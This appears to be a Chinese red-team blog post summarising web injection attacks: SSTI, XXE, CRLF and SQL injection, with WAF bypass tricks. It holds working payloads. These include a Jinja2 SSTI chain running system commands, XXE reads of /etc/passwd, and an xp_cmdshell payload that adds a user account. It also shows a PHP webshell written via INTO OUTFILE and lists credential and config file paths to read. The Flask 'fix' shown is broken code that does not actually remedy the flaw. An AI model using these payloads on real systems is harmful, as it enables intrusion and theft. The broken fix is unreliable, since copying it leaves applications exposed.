红队专题-Web渗透之注入攻击总结

在这里插入图片描述

红队专题

  • 招募六边形战士队员
  • ORM注入
  • SSTI 服务器端模板注入(Server-Side Template Injection)
    • 高危Flask(Jinja2)SSTI服务端模板注入漏洞
      • 知识点介绍
  • 漏洞影响
  • 产生原因
  • 漏洞原理
  • 复现过程
  • 构造POC
  • 漏洞修复
  • XXE XML外部实体注入 漏洞
  • CRLF注入/HTTP响应拆分漏洞(HTTP Response Splitting)
  • 漏洞描述
        • 因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。
        • 漏洞检测
        • 漏洞修复
  • SQL 注入
    • 漏洞介绍
    • 测试方法
  • sql手工注入
      • 渗透测试基础-sql注入
    • 概念
  • 本质
      • 参数带入 加入语句被执行
    • 手动注入基本知识
    • 实战演练
    • 防注入技术的突破
          • PS:
        • 通用点的过滤方法
      • mssql的多语句问题
      • 宽字节注⼊
          • 注⼊产⽣的原理
        • 正常情况下当GPC开启 或 使⽤addslashes函数 过滤GET或POST提交的参数时
    • ⿊客使⽤的 单引号 ' 就会 被转义为: \';
      • GBK编码导致宽字节注⼊
      • GBK转UTF-8
      • UTF-8转GBK
  • @apache+php+Mysql 正则注入
    • 0x01 Mysql 手工注入
  • 1.3 盲注
    • 1.3.1 时间盲注
  • 1.3.2 布尔盲注
    • 1.4.1 报错
    • 1.4.2 盲注
    • 1.5 二次注入与宽字节注入
  • 宽字节注入:
      • 0x00000000000000 - 杂技
  • @Oracle
      • 0x01 联合注入
      • 0x02 报错注入
      • 0x03 盲注
    • 布尔盲注
    • 时间盲注
  • @SQL server
      • 0x01 联合注入
      • 0x02 报错注入
      • 0x03 盲注
  • Neo4j
  • ACCESS
  • 万能密码

招募六边形战士队员

一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
在这里插入图片描述

ORM注入

SSTI 服务器端模板注入(Server-Side Template Injection)




 
比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式

跟Spring boot的版本有关,其默认自带的Thymeleaf版本有关。

spring boot:1.5.1.RELEASE spring-boot-starter-thymeleaf:2.1.5
spring boot:2.0.0.RELEASE spring-boot-starter-thymeleaf:3.0.9
spring boot:2.2.0.RELEASE spring-boot-starter-thymeleaf:3.0.11 

Thymeleaf模板注入

https://zhuanlan.zhihu.com/p/248416919

 payload 必须包裹在 __...__ 之中,且后面加上 :: ,及 .string 。
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x

5、防御

1.1. 方法上配置 @ResponseBody 或者 @RestController

这样 spring 框架就不会将其解析为视图名,而是直接返回。不配置的话 SpringMVC 会将业务方法的返回值传递给 DispatcherServlet ,再由DispatcherServlet 调用 ViewResolver 对返回值进行解析,映射到一个 view 资源。
@RestController 表示该控制器会直接将业务方法的返回值响应给客户端,不进行视图解析。它内部继承了 @ResponseBody 。
1.2. 在返回值前面加上 "redirect:"

这样不再由 Spring ThymeleafView来进行解析,而是由 RedirectView 来进行解析。
1.3. 在方法参数中加上 HttpServletResponse 参数

这样 spring 会认为已经处理了 response ,无须再去进行视图名的解析。在 ServletResponseMethodArgumentResolver 类中检查了此参数。

高危Flask(Jinja2)SSTI服务端模板注入漏洞

知识点介绍

Jinja2是基于python的模板引擎, 功能比较类似于于PHP的smarty,J2ee的Freemarker和velocity。
它能完全支持unicode,并具有集成的沙箱执行环境,应用广泛。
BSD授权。

服务器模板注入(SSTI)
一种利用公共 Web框架的服务器端模板作为攻击媒介的攻击方式,
该攻击利用了嵌入模板的用户输入方式的弱点。

SSTI攻击可以利用拼接恶意用户输入导致各种漏洞。
通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式。

漏洞影响

影响版本

使用Flask框架开发并且使用Jinja2模板引擎,
最重要的是模板内容可控。
满足该条件的Flask模块中几乎都存在注入漏洞。

产生原因

漏洞原理

(1)分析payload

查看python的内置模块:

payload中使用了warnings.catch_warnings模块,
查找资料发现os模块就是从该模块入手的。

可以看到Payload中使用的eval函数是存在于
warnings.catch_warnings模块中的。

(2)分析源码

from flask import Flask, request from jinja2 import Template app = Flask(__name__) 

@app.route("/") def index():
     name = request.args.get('name', 'guest')
     t = Template("Hello " + name)     
     return t.render() 
if __name__ == "__main__": app.run()

根据上述源码
“t = Template(“Hell” + name)”
由于使用拼接后直接进行渲染,导致命令注入。

复现过程

 └─# docker ps -a        
CONTAINER ID   IMAGE                COMMAND                  CREATED         STATUS         PORTS                                       NAMES
0d0d769ae249   vulhub/flask:1.1.1   "/bin/sh -c 'gunicor…"   5 minutes ago   Up 5 minutes   0.0.0.0:8000->8000/tcp, :::8000->8000/tcp   ssti_web_1

在这里插入图片描述

打开 目标
查看下源码

  ┌──(rootamingMM)-[/home//Desktop/vulhub-master/flask/ssti]
└─# cd src 
                                                                                                                            
┌──(rootamingMM)-[/home//vulhub-master/flask/ssti/src]
└─# ls
app.py
                                                                                                                            
┌──(rootamingMM)-[/home//vulhub-master/flask/ssti/src]
└─# cat app.py 
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run()         
  • t = Template("Hello " + name)

模板的 核心语句
函数利用get获取参数进入template,形成任意构造注入

构造POC

 http://127.0.0.1:8000/?name={{2*2}}
 http://127.0.0.1:8000/?name={{%27Mike%27.upper()}}

在这里插入图片描述在这里插入图片描述

xss命令注入
官方POC Payload - 获取eval函数执行任意代码 系统命令id测试:

http://127.0.0.1:8000/?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

在这里插入图片描述

漏洞修复

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/s1mpL3")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + {{defense}})
    return t.render(defense=name)

if __name__ == "__main__":
    app.run()

XXE XML外部实体注入 漏洞

 XXE(XML External Entity Injection) XML外部实体注入
XML是一种类似于HTML(超文本标记语言)的可扩展标记语言

用于标记电子文件使其具有结构性的标记语言,
可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。


XML文档结构
包括XML声明、
DTD文档类型定义(可选)、
文档元素。
 文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部的 DOCTYPE 声明

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

<!DOCTYPE 根元素 [元素声明]>

带有 DTD 的 XML 文档实例:

<?xml version="1.0"?><!DOCTYPE note [<!ELEMENT note (to,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>]><note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>

根据以上代码,做出如下解释

!DOCTYPE note (第二行)定义此文档是 note 类型的文档。

!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"

!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型

!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型

!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型

!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型

外部文档声明

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<!DOCTYPE 根元素 SYSTEM "文件名">

这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:

<?xml version="1.0"?><!DOCTYPE note SYSTEM "note.dtd"><note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>

这是包含 DTD 的 "note.dtd" 文件:

<!ELEMENT note (to,from,heading,body)><!ELEMENT to (#PCDATA)><!ELEMENT from (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body (#PCDATA)>

通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。

通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。

而您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。

您还可以使用 DTD 来验证您自身的数据。
 学习了DTD的两种引用方法,下面我们主要学习以下XXE漏洞需要利用的DTD实体

实体的概念:

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可在内部或外部进行声明。

一个内部实体声明

语法:

<!ENTITY 实体名称 "实体的值">

例子:

DTD 例子:

<!ENTITY writer "Bill Gates"><!ENTITY copyright "Copyright W3School.com.cn">

XML 例子:

<author>&writer;&copyright;</author>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

一个外部实体声明

语法:

<!ENTITY 实体名称 SYSTEM "URI/URL">

例子:

DTD 例子:

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd"><!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

XML 例子:

<author>&writer;&copyright;</author>

有了以上的XML和DTD的知识基础,我们就可以学习XXE漏洞了。

XXE漏洞——XML外部实体注入(XML External Entity)

当应用是通过用户上传的XML文件或POST请求进行数据的传输,并且应用没有禁止XML引用外部实体,也没有过滤用户提交的XML数据,那么就会产生XML外部实体注入漏洞,即XXE漏洞

例1<?xml version="1.0"?><!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc/passwd" >]><x>&b;</x>

如果以上xml代码被解析,则会返回/etc/passwd文件的内容。

例2<?xml version="1.0"?><!DOCTYPE a [<!ENTITY % d SYSTEM "http://xxx.com/xxe.dtd" >%d;]><x>&xxe;</x>

http://xxxx.com/xxe.dtd的内容为:

<!ENTITY xxe SYSTEM "file:///etc/passwd" >

有的小伙伴可能已经发现了,例1中实体名前面并没有%,而例2中实体名前是有%的,这里的区别在于,例1中定义的实体是通用实体,而例2中定义的是参数实体,并且参数实体只能在dtd中使用,即例2代码中的第三行 %d;,这里就像在外面引用统用实体一样,这里的%d;就引用了http://xxx.com/xxe.dtd这个文件到dtd中。3<?xml version="1.0"?><!DOCTYPE a SYSTEM "http://xxx.com/xxe.dtd"><x>&xxe;</x>

http://xxxx.com/xxe.dtd的内容为:

<!ENTITY xxe SYSTEM "file:///etc/passwd" >

不同程序支持的协议不同,如下图:

LIBXML2PHPJAVA.NETfilefilehttpfilehttphttphttpshttpftpftpftphttpsphpfileftpcompress.zlibjarcompress.bzip2netdocdatamailtoglobgopher *phar



https://baijiahao.baidu.com/s?id=1684406204479440752&wfr=spider&for=pc
 xee 触发反序列化漏洞进行任意代码执行
xml 中有一个 Test 类,如果能反序列化该类的话就可以构造恶意代码执行。

https://xz.aliyun.com/t/10324

支持解析 xml 外部实体的协议如下

在这里插入图片描述

 PHP 支持 phar 协议
只要有一个文件上传点,并且文件上传的路径是有回显的,那么就可以配合 xxe 漏洞去触发反序列化漏洞。
 第一步:先构造 Test 类的 phar 文件,假设生成的 phar 文件已经被上传到 xml.php 的同一个目录。

<?php
class Test{
    public function __construct(){
        $this->cmd = 'system(whoami);';
    }
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$o = new Test();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

第二步:利用 xxe 漏洞使用 phar 协议解析 phar 文件成功执行命令。
 以下代码存在 xxe 漏洞。
xml.php:

<?php
class Test{
    public $cmd;
    public function __destruct()
    {
        eval($this->cmd);
    }
}
$xmlfile = @file_get_contents("php://input");
$result = @simplexml_load_string($xmlfile);
echo $result;

// 另一种解析 xml 的方式
// class Test{
//     public $cmd;
//     public function __destruct()
//     {
//         eval($this->cmd);
//     }
// }

// $file = file_get_contents("php://input");
// $dom = new DOMDocument();
// $dom->loadXML($file);
// $result = simplexml_import_dom($dom);
// echo $result;
触发 xxe 漏洞实现任意文件读取。

<?xml version="1.0"?>
<!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]>
<foo>&xxe;</foo>

XXE -“xml external entity injection” 既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在≥2.9.0的版本中,默认是禁止解析xml外部实体内容的。

本章提供的案例中,为了模拟漏洞,通过手动指定LIBXML_NOENT选项开启了xml外部实体解析。

在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

CRLF注入/HTTP响应拆分漏洞(HTTP Response Splitting)

漏洞描述

因为Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。

攻击者一旦向请求行或首部中的字段注入恶意的CRLF,就能注入一些首部字段报文主体
并在响应中输出,所以又称为 HTTP响应拆分漏洞(HTTP Response Splitting)

CRLF是“回车+换行”(\r\n)的简称, 概念源自打字机,表明行的结束,计算机出现后沿用了这个概念。
其十六进制编码分别为0x0d和0x0a。
回车符(CR Carriage Return,ASCII 13,转义字符 \r,%0d) :光标移到行首,
换行符(LF  Linefeed,ASCII  10,转义字符 \n,%0a) :光标垂直移到下行


键盘上的回车键(Enter)就可以执行该操作。

但是不同的操作系统,行的结束符是不一样的。

Windows:使用CRLF表示行的结束

Linux/Unix:使用LF表示行的结束

MacOS:早期使用CR表示,现在好像也用LF表示行的结束

所以同一文件在不同操作系统中打开,内容格式可能会出现差异,这是行结束符不一致导致的。

 
 

 
在HTTP协议  报文的结构中,
-状态行和首部中的每行以CRLF结束

-首部与主体之间由一空行分隔。 
HTTP header首部与HTTP Body主体是用两个CRLF分隔的,理解为首部最后一个字段有两个CRLF
浏览器根据这两个CRLF来获取HTTP内容并显示。


浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。
所以,一旦我们能够控制HTTP消息头中的字符,注入一些恶意的换行,
这样我们就能注入一些会话Cookie或者HTML代码。

CRLF漏洞常出现在Location与Set-cookie消息头中。 
漏洞检测

CRLF注入漏洞的本质和XSS有点相似,
攻击者将恶意数据发送给易受攻击的Web应用程序,
Web应用程序将恶意数据输出在HTTP响应头中。(XSS一般输出在主体中)

所以CRLF注入漏洞的检测也和XSS漏洞的检测差不多。
通过修改HTTP参数或URL,注入恶意的CRLF,查看构造的恶意数据是否在响应头中输出

找到输入点,构造恶意的CRLF字符

正常请求
在这里插入图片描述

抓包,在请求行的url参数中加入特殊构造的CRLF字符

在这里插入图片描述

 查看恶意数据是否在响应头中输出

将修改后的请求包提交给服务器端,查看服务器端的响应。
发现响应首部中多了个Set-Cookie字段。
这就证实了该系统存在CRLF注入漏洞,因为我们输入的恶意数据,作为响应首部字段返回给了客户端。

在这里插入图片描述

 请求包写入的恶意数据,怎么就被当成响应首部字段输出

在这里插入图片描述
当条件满足时,将请求包中的url参数值拼接到Location字符串中,并设置成响应头发送给客户端。

此时服务器端接收到的url参数值是我们修改后的

 http://itsecgames.blogspot.com%0d%0aSet-Cookie:crlf=true

在url参数值拼接到Location字符串中,设置成响应头后,响应包
在这里插入图片描述
%0d和%0a分别是CR和LF的URL编码。
HTTP规范中,行以CRLF结束。
所以当检测到%0d%0a后,
就认为Location首部字段这行结束了,Set-Cookie就会被认为是下一行
在这里插入图片描述
而我们构造的Set-Cookie字符在HTTP中是一个设置Cookie的首部字段,
这个时候就会将crlf=true设置成Cookie

在这里插入图片描述
重新请求,抓包,发现Cookie中多了crlf=true。

测试的用例大家可能会觉得这漏洞没什么危害性,
但试想一下:利用漏洞,
注入一个CRLF控制用户的Cookie,或者注入两个CRLF,控制返回给客户端的主体,
该漏洞的危害不亚于XSS

漏洞修复

过滤 \r 、\n 之类的行结束符,避免输入的数据污染其他 HTTP 首部字段。

SQL 注入

漏洞介绍

Sql Inject(SQL注入)概述 哦,SQL注入漏洞,可怕的漏洞。
在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞, 其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,
导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。

在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:

1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

测试方法

第一步:SQL注入点探测。
探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。
通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。
如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户的输入未进行有效性验证,则存在SQL注入漏洞的可能性很大。
一般通过页面的报错信息来确定是否存在SQL注入漏洞。

第二步:收集后台数据库信息。
不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。
判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;
还可以使用特定函数来判断,
比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,
而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。

第三步:猜解用户名和密码。
数据库中的表和字段命名一般都是有规律的。
通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。

第四步:查找Web后台管理入口。
WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。

第五步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。

sql手工注入

渗透测试基础-sql注入

在这里插入图片描述

  • 绕过 waf
  • 写shell

概念

sql注入指 web应用 对用户输入数据 合法性没有判断
前后端 输入参数 攻击者 可控
参数带入数据库 进行查询
攻击者 构造 不同 语句 对 数据库进行操作。

详情: 注入 空格 漏洞 空格


本质

输入输出控制
将用户输入 数据 当做 sql 语句执行 的关键条件

  • 参数用户可控
  • 参数带入数据库查询

eg:繁多 复杂信息 的查询
存放地点: 数据库
查询方法:url参数带入查询
即 :.asp?id=
.php?id=

发布者:admin

参数带入 加入语句被执行

iis + asp
apache + php
nginx + java
aspx 由asp.net语言开发的网页
快速创建动态Web网站的技术
使用C#(或者vb.net)为开发语言
-------------------------------------------------------- 判断注入点
在这里插入图片描述

url 查询处?xxx=xx 加

’ 正常报错 存在注入漏洞

and 1=1 正常返回页面
and 直接返回页面 过滤了and

or 1=1 正常返回页面
or 没有返回页面 没有过滤or
or 1 没有返回 即没有过滤or 也没有过滤1
or 1=1 直接返回 过滤了等号

or的特性 与 and相反
or 1=1 爆错 或 与原页面不同
or 1=2 原页面相同
这样就是一个注入点

过滤了=号 我就用><号代替=号

or 1<2 很明显是正确的,所以应该与原页面不同
or 1>2 很明显是错误的,所以应该与原页面相同
然后看看有没有过滤其他的查询语句,比如select.
加select 直接返回主页

-------------------------------------------------> 原理
参数 and 和 (并且)
1 = 1
相当于 数据库执行 计算 1 = 1 (页面不出错)
1 = 2 (页面不正常)

说明了 and 确实被 ?参数代入 数据库交互当做sql语句处理过

手动注入基本知识

在这里插入图片描述

实战演练

  • 猜测字段 order by 10 (猜测有10个字段)

防注入技术的突破

  • 关键字绕过
  • 防注入程序都过滤了以下关键字:
    and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =

针对AND与“’”号和“=”号 select 等过滤的突破

PS:

1、运用编码技术绕过
如URLEncode编码,ASCII编码绕过。

例如or 1=1即
%6f%72%20%31%3d%31,

而Test也可以为
CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

2、通过空格绕过
如两个空格代替一个空格,
用Tab代替空格等,
或者删除所有空格,如
or’ swords’ =‘swords’

由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。

3、运用字符串判断代替
用经典的or 1=1判断绕过

or ’swords’ =’swords’

4、通过类型转换修饰符N绕过
程度 绕过限制,而且还有别的作用
关于利用

or ’swords’ = N’ swords’
大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用
并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。

5、通过+号拆解字符串绕过
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ ……’ )

6、通过LIKE绕过

如or
’swords’ LIKE ’sw’
绕过
“=”“>”
的限制……

7、通过IN绕过

or ’swords’ IN (’swords’)

8、通过BETWEEN绕过

or ’swords’ BETWEEN ’rw’ AND ’tw’

9、通过>或者<绕过
or ’swords’ > ’sw’
or ’swords’ < ’tw’
or 1<3
……
10、运用注释语句绕过
空格,tab键和注释符/**/可以用来切割sql关键字

回车 作为分割符
回车的ascii码是chr(13)&chr(10)
转换成url编码形式是%0d%0a
可以用%0d%0a代替空格pass一些过滤空格的检查了

用 / * * / 代替空格,如:
UNION /* */ Select / * * / user,pwd,from tbluser

用 / * * / 分割敏感词,如:
U/ * */ NION / * */ SE / * */ LECT / * */user,pwd from tbluser

只用%0d能正常执行语句吗?只用%0a呢?
测试证明,用任意一种分割在mssql、mysql和access里面都是可以的

ascii码可以用来在sql语句中代替空格
在所有128个低位ascii字符中
chr(12)也可以在access里用
不过貌似chr(12)不能出现在and、or之类的关键词附近
mysql中比access多一个chr(11)可以。

至于mssql, 直接从1到32的ascii码换成字符后都可以正常使用。

中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了

字符型的,如果是数值型,
可以在id=1后加一个括号,不过没有测试,
比如:jmdcw.asp?id=(1)and(select…),应该可行

11、用HEX绕过,一般的IDS都无法检测出来
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)


通用点的过滤方法
  • 采用赋值的方法
    先声明一个变量a,然后把我们的指令赋值给a,
    然后调用变量a最终执行我们输入的命令。
    变量a可以是任何命令。

如下:
  declare @a sysname
  select @a=
  exec master.dbo.xp_cmdshell @a
效果
http://www.xxxx.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];–

其中的
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
就是
“net user angel pass /add”

mssql的多语句问题

必须用分号作为语句的结尾 (错了)
类似
Copy code
select * from table exec xp_cmdshell’xxxxxxxxxx’

select * from table/**/exec xp_cmdshell’xxxxxxxxxx’

select * from table|—tab—|exec xp_cmdshell’xxxxxxxxxx’

select * from table|—enter—|exec xp_cmdshell’xxxxxxxxxx’

的语句都是可以正常执行的。
跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。
(遇到带空格过滤关键字的拦截程序)

宽字节注⼊

注⼊产⽣的原理
  • 源于程序员设置MySQL连接时错误配置 set character_set_client=gbk
  • 引发编码转换从⽽导致的注⼊漏洞
正常情况下当GPC开启 或 使⽤addslashes函数 过滤GET或POST提交的参数时

⿊客使⽤的 单引号 ’ 就会 被转义为: ';

  • 如果存在宽字节注⼊
  • 输⼊%df%27时 经过上⾯提到的单引号转义变成了
    %df%5c%27(%5c是反斜杠\)
  • 之后 在数据库查询前 由于使⽤了GBK多字节编码
    即在 汉字编码范围内两个字节会被编码为⼀个汉字。
  • 然后MySQL服务器会对查询语句进⾏GBK编码
    即%df%5c转换成了汉字“運”,
    ⽽单引号逃逸了出来,从⽽造成了注⼊漏洞

GBK编码导致宽字节注⼊

  • GBK编码是数据库编码,跟前台的编码⽆关

GBK转UTF-8

  • 我们输⼊%df%27时
  • 单引号转义变成了%df%5c%27(%5c是反斜杠\),
  • 然后%df%5c正好属于gbk的汉字编码范围,
  • 经过iconv转换到utf-8编码转换后变成了汉字“運”,从⽽吞掉了反斜杠使得单引
    号逃脱出来。

UTF-8转GBK

  • “錦”,它的utf-8编码是e98ca6,它的gbk编码是%e5%5c, 反斜杠\正好为%5c。
  • 如果我们将title设置为:錦’,⾸先经过addlashes函数或GPC对单引号转义变为:錦
    \’,
  • 然后会经过icnov函数会对”錦”转化为gbk编码
  • 最后就是:%e5%5c%5c%27。反斜杠被转义了(%5c%5c),从⽽单引号逃逸出来就会引发注⼊漏洞。

 判断是否存在SQL注入
'
and 1=1
and 1=2

暴字段长度
Order by 数字

匹配字段
and 1=1 union select 1,2,..,n

暴字段位置
and 1=2 union select 1,2,..,n
 
利用内置函数暴数据库信息
version() database() user()
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version() 
and 1=2 union all select database() 
and 1=2 union all select user() 
操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user 
数据库权限:
and ord(mid(user(),1,1))=114  返回正常说明为root
 
暴库 (mysql>5.0)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
高级用法(一个可用字段显示两个数据内容):
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
直接写马(Root权限)
条件:1、知道站点物理路径
2、有足够大的权限(可以用select …. from mysql.user测试)
3magic_quotes_gpc()=OFF
select ‘<?php eval_r($_POST[cmd])?>' into outfile ‘物理路径'
and 1=2 union all select 一句话HEX值 into outfile '路径'

load_file() 常用路径:

  1replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
  2replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
  上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
  3load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
  4/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
  5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
  6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
  7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
  8、d:\APACHE\Apache2\conf\httpd.conf
  9、C:\Program Files\mysql\my.ini
  10../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
  11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
  12/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
  13/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
  14/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
  15/etc/sysconfig/iptables 本看防火墙策略
  16 、 usr/local/app/php5 b/php.ini PHP 的相当设置
  17/etc/my.cnf MYSQL的配置文件
  18/etc/redhat-release 红帽子的系统版本
  19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
  20/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
  21/usr/local/app/php5 b/php.ini //PHP相关设置
  22/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
  23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
  24、c:\windows\my.ini
25、c:\boot.ini
